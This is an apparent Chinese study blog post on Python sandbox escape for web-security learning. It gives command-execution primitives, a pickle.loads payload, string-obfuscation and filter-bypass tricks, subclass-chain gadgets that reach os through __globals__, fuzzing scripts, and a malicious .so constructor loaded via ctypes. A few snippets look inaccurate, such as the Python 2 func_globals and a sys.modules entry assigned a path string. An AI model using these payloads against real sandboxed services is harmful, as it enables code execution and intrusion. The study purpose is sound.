0%

python_web学习

1.沙箱逃逸

Python 的沙箱逃逸的最终目标就是执行系统任意命令,次一点的写文件,再次一点的读文件。测试环境是 python3.8.2,py3.x各个版本间有一些差异,但总体的方法不变。py2就不讨论了

  • 执行系统命令

    1
    2
    3
    4
    5
    6
    7
    8
    os.system("whoami")
    os.popen("whoami").read()
    subprocess.run("whoami",shell=True) //如果 shell 设为 True,命令是被Bash(Sh)启动,所以支持shell语法。 如果shell=False的话,启动的是可执行程序本身,后面的参数不再支持shell语法。
    subprocess.Popen("whoami",shell=True)
    subprocess.call("whoami",shell=True)
    subprocess.check_call("whoami",shell=True)
    subprocess.check_output("whoami",shell=True)
    subprocess.getstatusoutput("whoami")

    执行系统命令只有 os subprocess

  • 执行Python代码

    1
    2
    3
    eval(expression[, globals[, locals]]) //实参是一个字符串,以及可选的 globals 和 locals。globals 实参必须是一个字典。locals 可以是任何映射对象。
    exec(object[, globals[, locals]]) //这个函数支持动态执行 Python 代码。object 必须是字符串或者代码对象。exec函数的返回值永远为None
    f-string
    1
    2
    3
    exec('import os ;os.system("whoami")')
    eval('__import__("os").system("whoami")')
    f'{__import__("os").system("whoami")}' //F'{__import__("os").system("whoami")}'

    这两个函数是内置函数。

    大体上就是 执行python代码 -> 执行系统命令

  • 关键方法

__init__ 类的实例化

__base__ 列出其基类。__base____bases__都是返回当前类的基类,只不过__bases__返回的是一个元祖

__mro__ 递归显示其父类直到object

__subclasses__()[] 获取子类

__class__ 获得当前对象的类

object.__getattribute__(self, name) 此方法会无条件地被调用以实现对类实例属性的访问。

__globals__ function.__globals__ 等同于globals()。dir() 的结果是上面两个的键值

''.__class__.__mro__[1].__subclasses__()[138].__init__.__getattribute__("__globals__") //os._wrap_close

__dir__ 一个字典或其他类型的映射对象,用于存储对象的(可写)属性。

>>> ''.__class__.__dict__['upper']
<method 'upper' of 'str' objects>
>>> ''.__class__.upper
<method 'upper' of 'str' objects>

__import__ import一个模块

bulitins Python3的内建模块,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀

import builtins
dir(builtins) //打印所有的内联函数可获取eval exec

__builtins__ builtins 的引用 __builtins__.__dict__['__import__']('os').system('whoami')

__name__ 个值获得的只是一个字符串,不是模块的引用,使用sys.modules[__name__] 才获得的是模块的引用
__call__(self[, args...]) 此方法会在实例作为一个函数被“调用”时被调用;如果定义了此方法,则 x(arg1, arg2, ...) 就相当于 x.__call__(arg1, arg2, ...)

().__class__.__bases__[0].__subclasses__()[37].__call__(exec,"__import__('os').system('whoami')")

dir() 将显示对象的属性的名称,__dict__是dir()的子集。注意dir() 不会列出内置函数和变量的名称

getattr(object, name[, default]) 返回对象命名属性的值。name 必须是字符串。如果该字符串是对象的属性之一,则返回该属性的值。例如, getattr(x, 'foobar') 等同于 x.foobar 可以用这个特性绕过 . 被过滤的情况

pickle 这个是python 的一个序列化的方法,用于将对象存储在字符串对象中,实现对象的持久化。

pickle.loads(b"cos\nsystem\n(S'ls'\ntR.") //执行命令

timeit模块 测试代码的执行时间的
timeit.timeit("__import__('os').system('whoami')",number=1)

importlib模块

find_loader用来查找模块,reload重新载入模块importlib.import_module(name, package=None)充当importlib.__import__()的简化包装。

  • import 导入机制

    9113969-e5945487b84c3721

所以说如果导入的模块a中有着另一个模块b,那么,我们可以用a.b的方法或者a.__dict__[b<name>]的方法间接访问模块b。

顺着这个思路,我们可以FUZZ一下哪些模块 import ossubprocess从而执行系统命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#查询手册合成的标准库字典
#第三方库也是同样fuzz的
all_modules3=['string', 're', 'difflib', 'textwrap', 'unicodedata', 'stringprep', 'readline', 'rlcompleter', 'struct', 'codecs', 'datetime', 'calendar', 'collections', 'heapq', 'bisect', 'array', 'weakref', 'types', 'copy', 'pprint', 'reprlib', 'enum', 'numbers', 'math', 'cmath', 'decimal', 'fractions', 'random', 'statistics', 'itertools', 'functools', 'operator', 'pathlib', 'fileinput', 'stat', 'filecmp', 'tempfile', 'glob', 'fnmatch', 'linecache', 'shutil', 'pickle', 'copyreg', 'shelve', 'marshal', 'dbm', 'sqlite3', 'zlib', 'gzip', 'bz2', 'lzma', 'zipfile', 'tarfile', 'csv', 'configparser', 'netrc', 'xdrlib', 'plistlib', 'hashlib', 'hmac', 'secrets', 'os', 'io', 'time', 'argparse', 'getopt', 'logging', 'getpass', 'curses', 'platform', 'errno', 'ctypes', 'threading', 'multiprocessing', 'concurrent', 'subprocess', 'sched', 'queue', '_thread', '_dummy_thread', 'dummy_threading', 'contextvars', 'asyncio', 'socket', 'ssl', 'select', 'selectors', 'asyncore', 'asynchat', 'signal', 'mmap', 'email', 'json', 'mailcap', 'mailbox', 'mimetypes', 'base64', 'binhex', 'binascii', 'quopri', 'uu', 'xml', 'webbrowser', 'cgi', 'cgitb', 'wsgiref', 'urllib', 'http', 'ftplib', 'poplib', 'imaplib', 'nntplib', 'smtplib', 'smtpd', 'telnetlib', 'uuid', 'socketserver', 'xmlrpc', 'ipaddress', 'audioop', 'aifc', 'sunau', 'wave', 'chunk', 'colorsys', 'imghdr', 'sndhdr', 'ossaudiodev', 'gettext', 'locale', 'turtle', 'cmd', 'shlex', 'tkinter', 'typing', 'pydoc', 'doctest', 'unittest', '2to3', 'test', 'bdb', 'faulthandler', 'pdb', 'timeit', 'trace', 'tracemalloc', 'distutils', 'ensurepip', 'venv', 'zipapp', 'sys', 'sysconfig', 'builtins', '__main__', 'warnings', 'dataclasses', 'contextlib', 'abc', 'atexit', 'traceback', '__future__', 'gc', 'inspect', 'site', 'code', 'codeop', 'zipimport', 'pkgutil', 'modulefinder', 'runpy', 'importlib', 'parser', 'ast', 'symtable', 'symbol', 'token', 'keyword', 'tokenize', 'tabnanny', 'pyclbr', 'py_compile', 'compileall', 'dis', 'pickletools', 'formatter', 'msilib', 'msvcrt', 'winreg', 'winsound', 'posix', 'pwd', 'spwd', 'grp', 'crypt', 'termios', 'tty', 'pty', 'fcntl', 'pipes', 'resource', 'nis', '_frozen_importlib', '_imp', '_warnings', '_frozen_importlib_external', '_io', 'nt', '_weakref', '_codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', '_stat', '_collections_abc', 'genericpath', 'ntpath', 'os.path', '_site']

methods = ['os','subprocess'] # sys __import__ __builtins__
res = {}

for met in methods:
res[met] = []

for module in all_modules3:
try:
m = __import__(module)
except Exception as e:
print(e)
attrs = dir(m)
if met in attrs:
res[met].append(module)
for met in methods:
print(met+":"+str(res[met]))

结果:

1
2
os:['pathlib', 'fileinput', 'filecmp', 'glob', 'fnmatch', 'linecache', 'shutil', 'dbm', 'gzip', 'bz2', 'lzma', 'zipfile', 'tarfile', 'configparser', 'netrc', 'plistlib', 'secrets', 'getopt', 'logging', 'getpass', 'curses', 'platform', 'subprocess', 'socket', 'ssl', 'asyncore', 'mailcap', 'mailbox', 'mimetypes', 'binhex', 'uu', 'webbrowser', 'cgi', 'cgitb', 'smtpd', 'uuid', 'socketserver', 'gettext', 'shlex', 'pydoc', 'doctest', 'bdb', 'pdb', 'trace', 'tracemalloc', 'ensurepip', 'venv', 'zipapp', 'sysconfig', 'inspect', 'site', 'pkgutil', 'modulefinder', 'tabnanny', 'py_compile', 'compileall', 'msilib', 'pipes', 'resource', 'nis', 'genericpath', 'ntpath']
subprocess:['asyncio', 'webbrowser', 'imaplib', 'venv']

也可以fuzz一下其他的方法比如 syssys.modules["os"].system("whoami")),举一反三就行

  • 花式import

    1
    2
    3
    4
    5
    import os

    __import__('os')

    importlib.import_module('os') //注意导入importlib

    如果通过 sys.modules['os'] = None,那么就无法导入 os但import 的原理,本质上就是执行一遍导入的库。路径可以通过 sys.path查看,默认都是在 /usr/lib/python3X/

    1
    2
    3
    4
    5
    6
    7
    8
    with open('/usr/lib/python3.8/os.py','r') as f:
    exec(f.read())
    system('whoami')
    #或者
    sys.modules['os']= '/usr/lib/python3.8/os.py'
    #或
    del sys.modules['os'] //当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。所以删了 sys.modules['os'] 只会让 Python 重新加载一次 os。
    import os
  • 花式处理字符串

    字符串拼接

    1
    __import__('o'+'s').system('whoami')

    字符串逆转

    1
    __import__('so'[::-1]).system('whoami')

    变量替换

    1
    2
    3
    a='o'
    b='s'
    __import__(a+b).system("whoami")

    编码

    1
    __import__((bytes.fromhex("6f73").decode())).system('whoami')

    别名

    1
    import os as o
  • 继承逃逸

    python中万物皆对象。通过各种魔术函数可以在继承链上找到我们需要的函数。也可以通过脚本FUZZ一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #这里只爆破了一层
    # object
    # [].__class__.__base__
    # "".__class__.__mro__[-1]
    methods=['os','subprocess'] # sys __import__ __builtins__

    classes = [].__class__.__base__.__subclasses__()
    res = {}
    for met in methods:

    res[met] = []
    for i in range(len(classes)):
    cla = str(classes[i])
    if met in cla:
    res[met].append(str(i) + " " + cla)

    # dir() 不会列出内置函数和变量名称所以 exec和eval只能爆破,或者利用其他包的__builtins__调用
    if "__globals__" in dir(classes[i].__init__):
    if met in classes[i].__init__.__globals__:
    res[met].append(str(i)+ " "+cla)
    for met in methods:
    print(met + ":" + str(res[met]))

    类的序号在不同的py版本,运行平台,以及import不同的包,都会造成object的子类数量不一样,序号也就不一样了。脚本也就构造下payload,远程打过去还得爆破序号。

  • 加载恶意so

    利用ctypes.LibraryLoader加载恶意动态库执行命令。ctypes必须要导入,不然object不会有它。感觉有些鸡肋。

    evil.c

    1
    2
    3
    4
    5
    6
    7
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    __attribute__ ((__constructor__)) void evil(void){

    system("ls -la > /tmp/ls_la");
    }

    poc.py

    1
    2
    import ctypes
    [].__class__.__base__.__subclasses__()[167]('/tmp/evil.so')

    image-20200701212037508

  • 其他

    过滤[],应对的方式就是将[]的功能用pop 、__getitem__ 代替(实际上a[0]就是在内部调用了a.__getitem__(0) )

    ''.__class__.__mro__.__getitem__(1).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()

-------------本文结束感谢您的阅读-------------